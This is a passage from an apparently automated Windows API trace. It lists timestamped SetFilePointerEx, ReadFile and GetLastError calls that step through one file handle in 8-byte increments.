lpNumberOfBytesRead=0x4aba5c*=0x746, lpOverlapped=0x0) returned 1 [0069.027] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x18, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.027] GetLastError () returned 0x0 [0069.027] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x20, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.027] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x73e, lpOverlapped=0x0) returned 1 [0069.027] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x20, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.027] GetLastError () returned 0x0 [0069.027] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x28, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.027] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x736, lpOverlapped=0x0) returned 1 [0069.028] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x28, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.028] GetLastError () returned 0x0 [0069.028] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x30, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.028] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x72e, lpOverlapped=0x0) returned 1 [0069.028] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x30, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.028] GetLastError () returned 0x0 [0069.028] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x38, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.028] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x726, lpOverlapped=0x0) returned 1 [0069.028] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x38, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.028] GetLastError () returned 0x0 [0069.028] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x40, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.029] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x71e, lpOverlapped=0x0) returned 1 [0069.029] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x40, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.029] GetLastError () returned 0x0 [0069.029] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x48, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.029] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x716, lpOverlapped=0x0) returned 1 [0069.029] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x48, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.029] GetLastError () returned 0x0 [0069.029] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x50, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.029] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x70e, lpOverlapped=0x0) returned 1 [0069.030] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x50, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.030] GetLastError () returned 0x0 [0069.030] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x58, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.030] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x706, lpOverlapped=0x0) returned 1 [0069.030] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x58, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.030] GetLastError () returned 0x0 [0069.030] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x60, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.030] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x6fe, lpOverlapped=0x0) returned 1 [0069.030] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x60, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.030] GetLastError () returned 0x0 [0069.030] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x68, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.031] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x6f6, lpOverlapped=0x0) returned 1 [0069.031] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x68, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.031] GetLastError () returned 0x0 [0069.031] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x70, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.031] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x6ee, lpOverlapped=0x0) returned 1 [0069.031] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x70, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.031] GetLastError () returned 0x0 [0069.031] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x78, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.031] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x6e6, lpOverlapped=0x0) returned 1 [0069.031] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x78, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.032] GetLastError () returned 0x0 [0069.032] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x80, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.032] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x6de, lpOverlapped=0x0) returned 1 [0069.032] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x80, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.032] GetLastError () returned 0x0 [0069.032] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x88, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.032] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x6d6, lpOverlapped=0x0) returned 1 [0069.032] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x88, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.032] GetLastError () returned 0x0 [0069.032] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x90, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.033] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x6ce, lpOverlapped=0x0) returned 1 [0069.033] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x90, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.033] GetLastError () returned 0x0 [0069.033] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x98, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.033] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x6c6, lpOverlapped=0x0) returned 1 [0069.033] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x98, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.033] GetLastError () returned 0x0 [0069.033] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xa0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.033] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x6be, lpOverlapped=0x0) returned 1 [0069.033] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xa0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.034] GetLastError () returned 0x0 [0069.034] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xa8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.034] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x6b6, lpOverlapped=0x0) returned 1 [0069.034] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xa8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.034] GetLastError () returned 0x0 [0069.034] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.034] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x6ae, lpOverlapped=0x0) returned 1 [0069.034] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.034] GetLastError () returned 0x0 [0069.034] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xb8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.035] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x6a6, lpOverlapped=0x0) returned 1 [0069.035] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xb8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.035] GetLastError () returned 0x0 [0069.035] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xc0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.035] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x69e, lpOverlapped=0x0) returned 1 [0069.035] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xc0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.035] GetLastError () returned 0x0 [0069.035] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xc8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.035] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x696, lpOverlapped=0x0) returned 1 [0069.035] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xc8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.036] GetLastError () returned 0x0 [0069.036] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xd0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.036] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x68e, lpOverlapped=0x0) returned 1 [0069.036] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xd0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.036] GetLastError () returned 0x0 [0069.036] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xd8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.036] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x686, lpOverlapped=0x0) returned 1 [0069.036] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xd8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.036] GetLastError () returned 0x0 [0069.036] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xe0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.036] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x67e, lpOverlapped=0x0) returned 1 [0069.037] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xe0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.037] GetLastError () returned 0x0 [0069.037] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xe8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.037] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x676, lpOverlapped=0x0) returned 1 [0069.037] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xe8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.037] GetLastError () returned 0x0 [0069.037] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xf0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.037] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x66e, lpOverlapped=0x0) returned 1 [0069.037] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xf0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.038] GetLastError () returned 0x0 [0069.038] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xf8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.038] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x666, lpOverlapped=0x0) returned 1 [0069.038] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xf8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.038] GetLastError () returned 0x0 [0069.038] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x100, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.038] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x65e, lpOverlapped=0x0) returned 1 [0069.038] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x100, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.038] GetLastError () returned 0x0 [0069.038] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x108, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.039] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x656, lpOverlapped=0x0) returned 1 [0069.039] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x108, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.039] GetLastError () returned 0x0 [0069.039] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x110, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.039] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x64e, lpOverlapped=0x0) returned 1 [0069.039] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x110, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.039] GetLastError () returned 0x0 [0069.039] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x118, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.039] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x646, lpOverlapped=0x0) returned 1 [0069.039] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x118, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.040] GetLastError () returned 0x0 [0069.040] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x120, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.040] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x63e, lpOverlapped=0x0) returned 1 [0069.040] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x120, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.040] GetLastError () returned 0x0 [0069.040] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x128, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.040] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x636, lpOverlapped=0x0) returned 1 [0069.040] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x128, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.040] GetLastError () returned 0x0 [0069.040] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x130, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.041] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x62e, lpOverlapped=0x0) returned 1 [0069.041] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x130, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.041] GetLastError () returned 0x0 [0069.041] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x138, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.041] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x626, lpOverlapped=0x0) returned 1 [0069.041] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x138, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.041] GetLastError () returned 0x0 [0069.041] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x140, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.041] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x61e, lpOverlapped=0x0) returned 1 [0069.041] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x140, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.042] GetLastError () returned 0x0 [0069.042] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x148, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.042] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x616, lpOverlapped=0x0) returned 1 [0069.042] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x148, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.042] GetLastError () returned 0x0 [0069.042] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x150, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.042] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x60e, lpOverlapped=0x0) returned 1 [0069.042] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x150, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.042] GetLastError () returned 0x0 [0069.042] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x158, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.043] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x606, lpOverlapped=0x0) returned 1 [0069.043] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x158, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.043] GetLastError () returned 0x0 [0069.043] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x160, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.043] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5fe, lpOverlapped=0x0) returned 1 [0069.043] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x160, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.043] GetLastError () returned 0x0 [0069.043] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x168, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.043] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5f6, lpOverlapped=0x0) returned 1 [0069.043] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x168, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.044] GetLastError () returned 0x0 [0069.044] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x170, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.044] ReadFile (in: hFile=0x190, 